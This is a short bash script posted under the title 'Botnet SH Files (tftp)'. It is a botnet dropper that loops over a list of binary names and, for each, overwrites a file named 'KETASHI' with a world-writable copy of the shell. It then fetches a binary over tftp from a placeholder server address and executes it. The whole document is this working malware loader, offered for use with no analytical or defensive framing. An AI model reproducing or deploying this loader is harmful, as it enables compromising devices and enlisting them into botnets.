[ BASH ] Botnet SH Files (tftp) | Small

#!/bin/sh
u="KETASHI"
bin_names="PUT BINARIES HERE"
http_server="IP"
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
     tftp -r $name -l $u -g $http_server
    ./$u
done